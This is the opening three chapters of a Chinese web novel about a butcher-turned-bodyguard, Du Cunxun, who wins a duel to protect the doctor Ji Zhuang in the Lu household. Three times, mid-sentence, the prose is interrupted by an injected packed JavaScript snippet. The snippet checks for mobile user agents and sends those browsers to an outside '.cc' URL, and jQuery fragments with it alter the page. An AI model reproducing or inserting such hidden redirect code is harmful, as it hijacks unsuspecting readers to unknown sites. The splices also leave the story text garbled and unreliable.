《将医》 1. 第 1 章 崇德十九年盛夏。姜国都城晏州。 蝉鸣声中,杜存荀踏入清风武馆,拐过擂台,打算继续为自己找一份差事。 “李叔,今儿有新活吗?” 李应正埋头登记名册,入目先是袖口一大块针脚错乱的补丁,补丁下一只骨节分明的修长手指灵活一绕,眨眼间就抽走了他刚写好的一张雇帖。 “柴房鼠患三日,家猫无能,诚招能者灭鼠,事成之后可得母鸡两只。”杜存荀对着念完,趁李应不注意又拿起另一张雇帖,“院中树上结了蜂巢,蜂群蜇人,嗡鸣声吵闹,需能者驱蜂,事成之后可获大米一斤。” 都是些不痛不痒的差事,杜存荀伸手还要去翻其他雇帖,余光瞥见李应已经抓起了戒尺,当机立断缩回手躲过一劫,老老实实赔了笑脸,“我这不是着急为您分忧。” 李应收了戒尺,“没大没小。” “李叔,咱们清风武馆也是晏州城里名气最大的武馆,怎么生意越做越小了……”杜存荀趁李应松懈,眼疾手快又抓了一把雇帖,张张看过,然而都和前两张雇帖大差不差,无非是一些抓鸡找狗的琐碎差事,报酬也不是真金白银,不是给米就是给布。 “大生意你瞧得上?”李应一把年纪抢不过她,坐回原位气得灰白胡子直抖,“那摘星榜上的雇帖,也不见你摘下一张来。” “送命和卖身的活儿我可不干。”杜存荀将抢来的雇帖重新放回桌面,双手高举,脸上又露出一抹人畜无害的笑容,“我只想当一个安分守己的老百姓,卖卖力气,给自己挣口饭吃。” 李应就纳闷了,这位城东来财肉铺的年轻屠娘,怎么就一身蛮劲使不完。 每天天不亮就早起宰牛宰羊,下午得了空就来武馆找人切磋。他掌管比试者名册,卷卷有她名,场场无败绩。 本以为日子一长她会厌倦,谁承想她悟出了比试日日有,对手常常新,兜里却留不住几两银的道理,日日来武馆不为了上擂台,专来为难他,叫他为她物色一份来钱快的差事。 来钱快的差事往往有性命之忧,他以为她心中有数,便带她进里间去看摘星榜,谁知她比谁都惜命,死士不当,细作也不干。 他见她面容姣好,闭上嘴就是赏心悦目的一张脸,想举荐她去青楼里弹弹琴,陪人喝点小酒,又被她一句不至于卖身噎了回来。 哪里是缺钱缺到走投无路的人。 明明是来折磨他的活阎王。 心里正犯嘀咕,又见杜存荀单手撑着桌面,继续挑挑拣拣。 ......懒得管她。 李应平息呼吸,执笔继续抄写雇帖,没写两个字,眼前又被那块补丁占据,杜存荀将一张墨迹未干的雇帖伸到他面前,“我要这个。” 老天爷,终于可以送走这位姑奶奶了。李应长出一口气,定睛去看—— 为大夫季庄当一个月的武夫,护他周全。事成可得一百两白银。 前不久才贴到摘星榜上的雇帖,此刻竟又出现在面前......李应皱起眉头,抬手正要找人来问,杜存荀也皱起眉头,捏着雇帖语出惊人,“季庄突然招武夫保命,是医死了人?” 姜国不乏树敌颇多的大户,这些大户常常会花重金雇佣武功了得的江湖侠客来为自己保命,俗称武夫。然而,江湖侠客来无影去无踪,千金难求,一些没有门路的大户只能退而求其次,在府中召开比武,选出佼佼者。资质稍微差些的留在府中教幼子习武,天赋异禀的则带在身侧当续命的宝贝。 季庄一个自幼学医的大夫,总不会是心血来潮想习武,既是想保命,必然是招惹了惹不起的人。而季庄在城中出了名的安分守己,杜存荀能想到他招惹杀身之祸的路子只有一条,那就是医死了人。 李应不着急为季庄辩解,撇开是否,慢条斯理反问:“姑娘,你知道季大夫是谁的徒弟吗?” “不知。” “连州季妙手,季升。” 杜存荀不为所动,“那又如何?” 李应循循善诱,“你知道季升么?” “不曾听说过。” 李应没想到面前这位姑娘虽然身手了得,见识却如此短浅,连季升都没听说过,转念一想,她正是风华正茂的年纪,身子骨看着也强健,想必没生过大病,也没请过几次大夫,心中反而戚戚然。 “也罢,你正体壮,未到疾病缠身的时候……”李应一想到自己半截身子入土的年纪,心中不免悲戚,但也没扯远,“季升医术高明,门下弟子不说上千,也有百来号人,只要是诚心拜师,饶是孤苦无依的乞儿,他也收入身侧言传身教。” “季升虽然收徒随意,但放徒弟出师却十分严苛。季氏仿古制,出师前设有医考,十失一才可出师,即每治十个病人,至少有九个痊愈,才能出师。季大夫三岁拜入季氏医门,十六岁就得了“季十全”的名号,是季升收徒以来唯一一个不曾失手的弟子。因此,季升才在他及冠之前,破例准他出师。” “医术这样高明的季大夫,能医死人?”李应揶揄她道,“姑娘你这话要是传出去,怕是要被人从街头笑到巷尾。” 身世如何都是废话,杜存荀只想问清楚一件事,“季庄为何要招武夫?” 李应笑呵呵仍卖关子,“姑娘你见过季大夫么?” “有过一面之缘。” “大夫样貌可俊美?” 李应问得直白,杜存荀一时竟答不上来。 她初遇季庄是在深夜,朗月高挂,季庄听见声响抬头,刚好与屋檐上一身夜行衣的她对视。剑眉星目,周身清白,是话本子里狐狸见了都会倾心的书生模样。 自然是俊美无双。 思及此处,杜存荀突然笑了,“难不成哪家千金要抓他做上门女婿,他不肯依?” 李应瞪她一眼,“我看你才干得出这种荒唐事儿。” 杜存荀笑得更欢,“您倒是懂我。” 李应插科打诨比不过她,清清嗓子道,“大夫上山帮一寨主夫人诊病,相传那压寨夫人貌若天仙,肤若凝脂,季大夫把持不住,把脉时多摸了两下酥手,寨主便要取他性命,杀鸡儆猴。” “此话......当真?”杜存荀半信半疑,只当李应添油加醋故意忽悠她。 “季大夫不是圣人,既是男儿身,见到美人,就不免心神荡漾。无可厚非,无可厚非。”李应笑得耐人寻味,“季大夫样貌俊俏,在晏州城里也是排得上名号的美男子,并且至今还未婚娶,若不是压寨夫人也对他有意,寨主何必铁了心非要取他性命?” 这时端茶送水的伙计刚好路过,李应截住他,问这张雇帖怎么又放了出来。伙计将汗巾往肩上一搭,扫一眼便道:“阿来前天夜里被打死了,今早来消息时您不在,馆主就新写了一张,吩咐说不必送进摘星榜。” “怎么死的?”杜存荀问。 “说是他当上武夫不到三日就发了狂,不知是被人下了药还是本来就有病,夜里举着刀见人就砍,说话说不清楚,绑也绑不住。季大夫说能治好,其他人怕当下治好,也难保日后不会伤人,陆老爷就叫人将他乱棍打死了。”伙计摇头,“季大夫也是傻,大庭广众之下替疯子求情......谁不知道照大姜律法,疯子都要就地处决……” 伙计说完就走了,李应心知杜存荀会知难而退,从她手里要抽出雇帖,不料她竟死死抓着不给,“我就要这个。” 李应幽幽来了一句,“你也看上季大夫了?” 杜存荀皮笑肉不笑,“我这不是给自己挣点嫁妆,省得您整日操心我的终身大事。” 这话开了李应话闸,“不是我想操心……你说你好好一个姑娘家,单在武馆里比武也挣了十几两银子,拿这些钱去置办一身好看衣裳,脸上再抹些脂粉,编个时兴的发髻,就是路边摘朵野花挂耳后,再闭上你的嘴,不知道能迷倒多少公子……” 杜存荀不多听李应自言自语的废话,捏着帖子细看,却发现还有一道难关要过。 季庄在本地并没有私宅,原也不是晏州人,如今寄住在陆府里,专为陆家人诊病,只在闲时出门为普通百姓看病。而这陆府贵为朝廷官员居所,闲杂人等不得随意入内,但武夫需与雇主同吃同住,寸步不离,她想要当护季庄周全,需得同住府中。 因此,她需要经过府中另设的比试和身世查验,最后才能签下字契拿走定金。 比试好说,身世倒有些麻烦。 真要查起来,她可不经查。更何况查她的不是别人,是陆家。 这一年来,她偷过陆家不少东西。光是陆家老爷的密信就截了三封,挨了暗卫两刀差点没命,更别说那后厨中的烧鸡、小姐闺房里吃剩的桃花糕...... 可一个月就能拿一百两白银,报酬实在诱人。更何况季庄心软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113902|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得一塌糊涂。 暂且不提阿来的死是否是有人故意陷害,连疯子都想保的季庄,估计真受伤了也不会怪她,更不会找陆老爷挑她的刺来克扣酬金。 再三权衡后,利大于弊。杜存荀一咬牙,打算赌一把。 —— 陆府的比武不算隆重,府中大院简单搭了个一人高的木台子就算是擂台。 府外门口支着一张矮木桌,桌后安安静静坐着一位老者,他面前摆着纸笔,用来记下前来比试者的名姓。擂台下起哄声如浪潮般时起时落,老者的眼皮也随之半开半合。 又一浪欢呼声从身后袭来,苍老的眼皮往上抬一抬,看见一双粗糙布鞋。 “名字。”老者照常提笔,看也不看来人的脸。 “在下杜存荀,来自清风武馆。”女子拿掉头上遮阳的草帽,手背一擦额头上的汗。 “女子?”老者闻声抬眼,额上褶皱层层叠叠。清风武馆派来的差役并未说明这从无败绩的杜存荀是个姑娘。 “女子不能来比武?”杜存荀皱眉。 老者没答话,只上下打量她一眼。粗布衣裳,脸上不涂抹脂粉,颈上腰间没有配饰,一头乌顺光亮的长发只用一把式样简单的木簪子随意定住。 不是娇生惯养的大小姐。 再细看,饱满额头下一双剑眉英气逼人,举手投足间,姿态没有男子那般粗犷,但也没有寻常女子那般拘谨。 素面朝天,不刻意遮掩故弄玄虚,一脸正气,也不像刻意来捣乱的市井混混。 于是低头落笔,“只要是良民,都能来。” 写完姓名又问:“哪里人?” “晏州人。”杜存荀怕自己看起来不像良民,补道,“我在来财肉铺当屠娘,您不信可以派人去打听。” “你赢了自然会有人去打听。”老者不咸不淡朝她摆摆手,“进去吧。” 杜存荀不多逗留,一路无阻进了中庭。院里满满当当都是人,除去等待着上台一决高下的武者,更多是看热闹不嫌事大的看客。 眼下这一场的胜负已经分明,只见一狰狞刀疤脸正将败者坐在身下,铁拳攥紧败者头发,连带着将那人脑袋扬起,把血迹斑斑的脸露到众人面前,“大伙看看,这张脸长得多俊俏!” 台下一阵哄笑。 刀疤脸空出一只手从腰后慢条斯理摸出一柄匕首,操着粗哑的大嗓门问,“大伙来选!划拉左边还是划拉右边!” “左边!”台下一人高呼。 “右脸!”有人扯着嗓子喊。 很快,台下分出两派,各自兴奋起哄着。 杜存荀见怪不怪,贴墙绕过人群,打算先讨碗茶水解渴再上台攻擂。 要知道,姜国比武最大的看头,不是看台上的人武功多么高强,而是看比出胜负后,胜者如何折磨败者。对胜者来说,如果手段足够残忍,不仅看客尽兴,也能威慑其他攻擂者,一举两得。 掌茶的老奴老眼昏花看不清台上局势,单是从排山倒海般的起哄声中辨出几声呜咽和呻吟,就深深叹了一口气,“苦命的孩子。” 杜存荀将碗中茶水一饮而尽,见老者一门心思都在擂台上,便提起茶壶自己给自己又斟了一碗,好奇问他,“被打的那人您认识?” “他叫关风,前两日刚进城,也不知道是遇到什么大事,铁了心要赢下比武,给大夫当武夫。”场面血腥,老者不忍再看,忧心忡忡转向杜存荀,“昨日他被砍下两根手指才得以下台,一说话就咳血,大夫想为他续断指,但那刀疤脸早已经将断指扔了,等大伙找到断指,早已经耽误了时辰,大夫忙活了一夜都没续上。” 断指续不上,本以为他能知难而退,谁知今日又拖着残躯上台,被人打得半死不活。 “就为了这一百两银?”杜存荀舔舔唇,又问。 老者摇摇头,“单是擂台上就打不过,光拿命去耗,顶什么用?就算他能撑到最后,也是命不久矣,老爷不会同意他来当武夫,更别说拿钱......” 正聊着,杜存荀就听见一片起哄声中有人不满。 “他伤得那样重,当真不能叫停?”那声音问。 “这台上的事情,咱真的管不了……” “那就不比了。我不招武夫了。”那声音又说。 此话一出,杜存荀循声追迹,烈日下一眼认出一袭白衣的季庄。 2. 第 2 章 常听说城中这位少年大夫面善心软,杜存荀这时候听到季庄开口,才发现他不仅心软,还是一个不知天高地厚的犟种。 官府不得插手比武场上的恩怨,因此比武是豁出性命的比试,这是姜国人人皆知的江湖规矩。如果他此时上台去叫停比武,便意味着前面几日攻擂者的牺牲全都作废,暂且不说攻擂者们及其背后武馆会如何报复陆家,就凭刀疤脸的狠戾手段,季庄未必能完完整整走下台。 对于犟种,费口舌劝阻往往是多此一举。杜存荀放下茶碗,左手往一看客肩膀上借力一撑,旋身上了擂台,两步并作一步来到刀疤脸身侧就是一记劈腕。 关风本来已经紧闭双眼任王河宰割,听见动静后小心翼翼睁开眼,就见刀尖近在咫尺,下一瞬却被一掌震出三尺远。 “他已经败了。”杜存荀站直身子,居高临下,“现在轮到我。” 不等关风开始挣扎,王河已经收住狰狞笑脸先一步动作,不声不响一记扫堂腿划过,趁来人后跳闪避的间隙起身,反握另一柄短刀直指来人咽喉。 杜存荀纵身一跃,甫一落地迅速后仰躲过致命一击。 王河起身乘势追击,迈出半步后却迟迟不见杜存荀直起身时才意识到,这并非躲闪后仰,而是后翻进攻。 他反应很快,但还是太迟了。 一念之间,高下立见。 她胜在预判。 他输在轻敌。 王河呆愣原地还来不及后撤,杜存荀已经借助后翻以下巴为支点将他挑至半空,再跃起,追加一记肘击,使其重重摔下。 无论是后翻还是肘击,杜存荀都满打满用了五成力,王河落地后往外吐出一大口血,不再动弹。 眨眼间,一击制胜。 这场比试结束得太快,台下一阵哗然,但很快又重归平静。 看客们屏息凝神,等着杜存荀下一步动作。 王河先前变着花样羞辱凌虐败者,如今却被后来者轻松踩在脚下,饶是被打得不剩半条命的关风,这时候也暗暗希望杜存荀能将王河往死里打,不为别的,就为出一口恶气。 谁知杜存荀得胜之后什么也不干,直接放过了刀疤脸,“下一位。” 扫过一圈,台下众人都在呆呆地仰头望她。 关风佝偻着身子站在台缘,脸上血痕遍布,声音沙哑,“他死了吗?” “死不了。”杜存荀答。 “继续、继续打他啊......”关风开始哽咽,缺了两指的手握成拳仍漏风,喘气也越来越费劲,“把他打死啊……” “我来比武,不是来耍威风。”杜存荀眼里没有同情,“你还在台上,是为了留下来攻擂么?” 这话一出,关风瞪大眼睛,嘴巴一张一合,却是后退半步,什么都没说。 “你若是不认输,我随时奉陪。”杜存荀摸出腰间匕首,看一眼倒地不起的王河,视线又转回关风,“你和他的下场是一样的。” 关风踌躇一阵,咬牙下台。 离得近的一群看客方才看王河在关风脸上划刀子,起哄得脸红脖子粗,这时候见杜存荀风轻云淡放过手下败将,顿觉扫兴,一脸失望带头转身离开。 其余人想也知道武夫就此定下。武艺高强却不喜杀戮,守规矩,能护主且不存害主之心,这样的人向来是大门大户青睐的武夫。 攻擂者们心服口服,识相离开,看热闹的也去寻下一处新鲜。人潮慢慢褪去,杜存荀放眼望去,却没看见犟种季庄,反而看到一个白胖小子,手里抓着一把与藕节手臂等长的木剑,逆着人潮往木台这边来。 杜存荀看着他手脚并用爬上木梯,忍俊不禁,“你是下一位?” 小孩抿唇,两颊的软肉聚成一团,俨然一块白面馒头,白面馒头上缀着的一双水灵灵大眼睛眨了又眨,“我能试试吗?” 杜存荀弯下腰问,“你叫什么名字?” “我叫陆辰竹。”小孩回答得认真。 姓陆。这小屁孩竟然还是陆家的少爷。杜存荀心中不免唏嘘,这小少爷身上穿的和她不相上下,都是一身灰扑扑的补丁。 可惜这位寒酸小少爷还没来得及发动进攻,季庄就发现了他,“辰竹,快下来。” “大夫,他还没输呢。”杜存荀笑着提醒,没打算就此放过主动送上门来的陆辰竹。 杜存荀不放,陆辰竹不走,季庄无计可施,却也不担心会出事,只好折返继续为关风包扎,谁知就这一转身的空隙,关风早已不见踪影,只留下一张字条。 擂台上。 杜存荀后退一步与陆辰竹拉开距离,在他提着剑冲来的一刻,左右两手简单一运,陆辰竹手腕吃痛,木剑应声落地。 没有任何悬念,眨眼间已成定局,杜存荀笑看季庄,“大夫,我赢了。” 季庄站在台下不远处,手里捏着一张字条正看得出神,没有听见她的话。 杜存荀运力有分寸,没伤及筋骨,陆辰竹转转手腕,重新捡起木剑,斗志满满还要继续。杜存荀收回落在季庄身上的目光,摸摸小孩的脑袋,“辰竹每日都在练功?” 方才短暂的交手中,她能感受到,陆辰竹虽然内力不够,但马步扎得比她想象中要稳,不然早已经连人带剑滚下台去。 “你怎么知道?”陆辰竹被这么一问,水灵灵的两只眼睛顿时放出光来。 杜存荀笑而不答。 “辰竹,过来。”季庄不知何时又走到擂台边缘,招呼陆辰竹过去,等陆辰竹跑到面前,便掐住他胳肢窝将他抱下台,“娘亲在烧饭,你去帮忙好不好?” 见季庄把陆辰竹支开,杜存荀跳下木台,开门见山问他,“何时可签字契?” 季庄脸上却为难,“姑娘且先留着先前的差事。这武夫,我再另寻他人......” 杜存荀一下皱起眉头,“我名正言顺夺得了比武的头筹,为何要赶我走?” 季庄叹气,“这差事过于凶险,我怕姑娘......” “明知凶险,又为何要招武夫?”杜存荀抬手擦去面上薄汗,轻声笑他,“大夫是怕我不能胜任,还是怕危急之时我撇下你,卷了酬金自己逃命?” “你当我赶过来忙活这么久,是来陪你玩儿呢?” 季庄一下噎住。他从没见过说话咄咄逼人却还能笑得嫣然的女子。 见季庄不禁吓,杜存荀直接伸出手,“字契拿来。” 季庄还是不动。杜存荀拿他没办法,伸手将他手里捏的纸夺了过来。 谁知摊开来看却发现是个缺了一角的药方。 纸上字迹端正俊秀,药材剂量和煎煮方法一览无余。目光快进至药方末尾,只见上面写着“季庄于崇德十七年作”。 两年前的药方。 仅仅两年时间,纸张已经磨得起了毛。杜存荀把快要烂掉的药方还给季庄,解释,“我向来只做力所能及之事。若是没有打听清楚,我不会来。大夫不必担心我,更不可看轻我。还有,这场比武不是大夫所办,也请大夫不要自作主张,辜负了陆老爷心意。” 话都说到了这份上,季庄只好赔了几句不是,从袖中掏出字契与她交换,“这是陆家雇人的字契。姑娘今日回家后可与父母细细商量一番再签字画押。” “签了字就能拿定金么?”杜存荀仔细看过字契,问。 季庄点头,“姑娘缺银两?” 杜存荀反问:“不缺银两我为何要来?” “敢问姑娘是遇到了什么难处?在下可以借些银两为姑娘解燃眉之急。” 杜存荀不解:“我能赚,为何要借?” 季庄仍不忍心:“钱财终究是身外物。这差事凶险……” 杜存荀斜睨他一眼,“我并无难处,本性贪财而已。” 所幸季庄那张脸长得还算入目,不然她真忍不了他这张絮絮叨叨的嘴。 趁季庄被唬住的空当,杜存荀又问:“不是还要查我家底么?我画押后就能当这武夫了?” “姑娘的身世,府中早已经查过了。” 要不是季庄坦白,杜存荀怎么也想不到自她将雇帖塞进口袋那时起,陆府安排在清风武馆的眼线就已经动身去探她身世虚实。 杜存荀暗叹陆家动作之快、心机之缜密,一时失语。 收拾好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113903|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思绪,杜存荀伸出拇指沾一点木台边缘上关风留下的尚未干掉的血迹,摁下指印,“我爹娘早已离世,家中也没有其他长辈和兄弟姐妹,干什么活我自己能做主。” 这时候有陆家家仆上台要抬走王河清场,杜存荀指着奄奄一息的王河又道:“这人我得带走。” “姑娘认识他?”季庄愕然。 “我见过他的通缉令,”杜存荀狡黠一笑,“活捉他能拿二两银呢。” 姜国的逃犯只多不少,每贴出一张新的悬赏,她都会去记那人的样貌特征,偶尔识破一个,无异于天上掉馅饼。 季庄心中大石立时悬起又马上放下,“姑娘将他带走便是。” 一事了结,杜存荀在字契上摁下指印,谁知签好字契,账房却不认,说要管家点头才能给定金。 季庄小心翼翼看一眼杜存荀,生怕她又要发作,可她却并不着急,“管家是谁?” 账房答非所问,“时候到了他会来找你。” 杜存荀当下要追问,转念一想,陆家如今也算是名门望族,总不至于像她先前遇到的其他小门小户,想方设法拖欠酬金。 这样想着,杜存荀便不再揪住定金不放,而是先把王河带去衙门领赏。 二两赏银拿到手上没一会儿就花了出去,夕阳西下,杜存荀拎着酒肉和家里的几件换洗衣裳回到陆府,却在门口被一个人拦住了去路。 漏风的拳,斑驳的脸,蹒跚的步伐,来人正是关风。 关风静静盯着她,一句话不说,不知是记恨她在擂台上没有对王河痛下杀手,还是恨她对他和王河一视同仁。 杜存荀也不计较,一屁股往门槛上坐,招呼他一起,“站着多累,咱们坐下来慢慢聊。” 府前百姓来往,关风步步挪近,犹豫再三后还是无视旁人目光坐了下来。 杜存荀从怀里的两只酒壶里分出一只往关风手里塞。关风没接,“季大夫说我身上有伤,不能碰酒。” “也是将死之人了,喝两口不碍事。”杜存荀先给自己来了一口。 关风本就自觉时日无多,被她这么一提,眼眶内顿时起了泪,夺过一只酒壶仰头就灌。 “我不是神医,但懂点拳脚功夫,你死缠烂打,王河烦你入骨,要不是怕在台上闹出人命会被陆家找麻烦,就你这身板,连今日都撑不过。”杜存荀说,“明知打不过,何必苦撑。” 关风被酒呛得连连咳嗽,眼泪比鼻涕先流,“大夫对我有恩。” 意料之中。 杜存荀打开食盒,为关风撕下一只烧鸡鸡腿,“所以你想一命换一命?” 关风不语,直顾着拿手背擦泪,擦得脸上血痂脱落,血泪纵横。 飘香的鸡腿递不出去,杜存荀自顾自撕咬起来,“那药方我也看见了。两年前,季庄为你母亲治过病,你一直留着那张药方。” 关风抬头,又飞快低下头去落下一滴泪,还是那句话,“大夫对我有恩。” “我娘的命是季大夫从鬼门关里救回来的,我这条命应当也为季大夫挡下一次灾祸。” 关风说得动容,杜存荀很想告诉他实情,但话到嘴边还是咽了回去,一口酒接一口肉往嘴里填。 将死之人,告诉他真相也是徒增悲伤。 关风的心思不难猜,他以为只要拖住王河,总能等到真正靠得住的武夫来保护季庄,殊不知季庄背后还有一个陆家老爷陆行。 规矩是死的人是活的,要是王河那样狠戾的人与季庄同住,府中必定人人自危。陆行不是自找麻烦的人,因此,就算没有关风,他也会挑个暗卫找好时机把王河灭口,让比武继续,直到合他心意的武夫脱颖而出。 关风还在说:“可惜我没用,挨了一身伤,连累大夫一直为我上药......幸好姑娘及时赶到。” “我本想留信给姑娘,但我不识字,只好在这里等姑娘。” “我来是想告诉姑娘,若姑娘以后想找别的差事,麻烦告诉我二弟一声,换他为季大夫挡刀。我二弟叫关山,住在城外关家村。我们两兄弟一条烂命,死了不足惜,但季大夫是好人,他活着,能让更多人活。” 3. 第 3 章 关风说得声泪俱下,杜存荀嘬嘬手指,“收人钱财,替人消灾,我自然会做好分内之事。至于你二弟……你这条命已经抵给季庄,他再来送命,季庄岂不是倒欠你娘一条命?万一你二弟真死了,谁给你娘养老?姑且我愿意去找你二弟接手,季庄也不见得会收他在左右。你想,季庄辛辛苦苦救回来的老太太,因为他,死了两个儿子,白发人送黑发人,不仅晚年无人依靠,遭人欺负都找不到人哭诉,他良心上能过得去?” 谁承想一通劝说下来,关风反而哭得更加厉害,泪水决了堤似的不断往下淌。 杜存荀自觉闭嘴。她貌似确实不大会安慰人。 她只想劝关风看开些,别为了这些缥缈的情义恩仇让自己吃亏。生死有命富贵在天,季庄摊上的祸事远没有他所想那般严重,他本该过好自己的日子。 不过……杜存荀看一眼痛哭流涕的关风,决定继续沉默。 干坐着听人哭也不是事儿,边听边吃更是不像话,府门外路过的百姓因为这凄惨哭声纷纷投来疑惑和责怪的目光,杜存荀起身想走,又不忍心扔下他一个人。好在迷茫无措间左顾右盼,竟是真的盼来了一大一小两个身影。 夕阳西下,正是用晚饭的时辰,季庄怕杜存荀回来后找不着他们的居处,特地和陆辰竹一起出来接她回屋吃饭。 不料还没见人影,就听见一阵揪心哭声。 拐过转角一看,真是关风。 “大夫,他怎么哭了?”陆辰竹小声问。 杜存荀起身,示意季庄与关风说两句,“我嘴笨,你去安慰。” 季庄点头,把陆辰竹交给她。 两人心照不宣交换了方向,陆辰竹自然而然捏住杜存荀衣角,边走边回头,等到再也听不见哭声,才小声开口,“他要死了吗?” “你也能看出来?”杜存荀有些吃惊。 “昨夜大夫为他接手指头,我听见他哭了很久。娘说他受了重伤,可能会死。” 杜存荀不语。 “我不想关风哥哥死。他死了,他娘亲肯定会难过。”陆辰竹低头盯着脚下的青石路,声音沉闷,“我也可以保护大夫,但他不信我。” 久久又补道:“还好他信你。娘也说你是好人。” 杜存荀觉得这小少爷真是深藏不露,三言两语就使她肩上担子重了不少。 明明她只是来为自己挣一份差事,就算季庄有什么三长两短,她顶多功亏一篑,拿不到那一百两白银。如今才过去短短半日,她却仿佛陷入了如果没能护好季庄就辜负了所有人的境地。 杜存荀就纳了闷,季庄身为大夫,救死扶伤是本职,怎么就哄得一个个人甘愿为他赴汤蹈火。 一时半会琢磨不出所以然,杜存荀也就放下不去细想。拿钱就办事,旁的起因缘由都与她无关,知道越多麻烦越多。 不知不觉两人穿过一座月亮门,走进一方小院,来到一扇门前。 陆辰竹推门,杜存荀在他身后走进这间逼仄卧房。 这间武夫的卧房紧挨季庄的卧房,虽是方寸之地,只一口四方小窗,一桌一椅与一张木板床,但窗明几净,纤尘不染,看得出来收拾的人十分用心。 陆辰竹还保持着为她带路时的姿势,一手拉着她衣角一手指着床,仰起脑袋一脸骄傲,“这是我帮娘亲一起收拾的。” 话音刚落,就听见身后一声温柔的招呼,“姑娘来一起吃饭吧。” 转头,只见一位衣着朴素的妇人在院中石桌上布置碗筷,神态憔悴但瑕不掩瑜,依旧是个不可多见的美人。想必就是陆辰竹的娘亲。 杜存荀不多推辞,将买回来的食盒放到院中石桌上当作加菜。刚好季庄告别关风回来,四人便围坐一圈吃饭。 陆辰竹不怕生,杜存荀自来熟,季庄和妇人虽然话不多,但也和善,一顿饭下来,杜存荀与三人熟络了不少。 妇人是如今陆家家主陆行的父亲生前纳的妾室,姓林,府中上下都喊她挽娘。陆辰竹是她的独子。 简而言之,陆辰竹是现如今陆家老爷同父异母的弟弟。 陆父陆母相继逝世后,陆行当家,看在陆辰竹太过年幼的份上,陆行没将挽娘母子俩赶出去,留他们在此居住,但也只是给他们留了容身之地,不再管他们衣食。 挽娘靠织布来维持生计,平日里无暇照顾陆辰竹,季庄便将陆辰竹带在身边,当他是半个药童。 这偏院里除去杜存荀和季庄的房间,就是母子俩的卧房和一间柴房。 吃过晚饭,季庄进房点灯读医书,陆辰竹跟在挽娘左右打扫庭院,杜存荀躺在床上百无聊赖玩着匕首,满脑子都是那还没拿到手的二十两定金。 心里有牵挂,入夜后辗转反侧睡不着,索性翻身起床,带上字契踩窗上檐。 夜深人静,整个陆府只剩下陆行的书房还透出光亮。 杜存荀踏着屋顶瓦片如飞蛾扑火般往书房奔去,奔至最后一刻先撞上了一道苍老肃厉的声音,“谁?” 杜存荀刹住脚步,落地,展开字契自报名姓,“我来找您要定金。” 陆行虽被称为老爷,但岁数并不大,如今还没到而立之年。现在正是灯熄人寐、万籁俱寂的时候,这名老者一脸疲惫从陆行书房中离开,发现了不速之客也不慌张,除了管家陈常,杜存荀想不到第二个人。 陈常看过字契,提着灯笼往上映映她脸庞,认出她是擂台上碾压刀疤脸的女子,态度缓和不少,“姑娘先回去休息吧,明日我会去找姑娘。” “大夫说签了字契就能拿定金。”杜存荀不依。她不想等。 “账房已经睡下了……”陈常皱眉。这女子看着也不是刁蛮的主儿,怎么这么不明事理。 “您先垫着。”杜存荀理所当然道。 陈常气得结巴:“你……你这成何体统——” 杜存荀客气一笑,“自成体统。” 两人正僵持着,房门突然吱呀一声从里推开,一屋暖光泄出,一人背光立在门槛后,地上拉扯出一道阴暗身影。 是陆行。 “老爷。”陈常赶忙欠身。 难得跟陆行打照面,杜存荀也跟着弯腰,字正腔圆喊了一声老爷。 陆行看过两人,眼波流转,最后停在杜存荀身上,“杜姑娘深夜前来,所为何事?” 这一声“杜姑娘”唤出来,杜存荀就知道陆行看了她和王河的比试,于是省去自报名姓的功夫,嘴一张就是大吐苦水,“老爷有所不知,我从比武中脱颖而出,自认已经成为了季大夫的武夫,谁知我这武夫的名号,有名无实……” “此话怎讲?”夜已深,陆行虽显疲态,但还是耐着性子问她。 陈常在旁边快要把两只眼珠子都瞪出来,杜存荀看也不看他眼色,“我还没拿到定金。季大夫说签了字契就能拿定金,但账房先生只认陈管家的印子。” 陆行瞥一眼陈常,“为何不给杜姑娘定金?” 陈常见杜存荀不分青红皂白就先告状,一生气,索性破罐破摔,“选武夫一事关乎季大夫性命,应十分谨慎,再三筛选。杜姑娘的身世尚未完全查清楚,季大夫就擅自让姑娘签了字契,我也是怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113904|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大夫受骗,才迟迟不给定金。” 杜存荀暗叹陈常真不愧是帮陆行管家的人精。她就是怕时日一长,陆家顺藤摸瓜真的查出来她几件小偷小摸从而把她辞退,这才想着早点拿到定金,不至于最后什么都没捞到。 哪里知道陈常就防她这一招。 杜存荀气得牙痒。真是碰上对手了。 “行,你一日不给定金,我就跟着你一日。”杜存荀双手抱胸,把话挑明,“你别想好过。” 陆行算是看出来了,杜存荀深更半夜闹这一出不过是为了一份二十两银子的定金,于是挥挥手吩咐陈常现在就从他房中拿来二十两银子付给她。 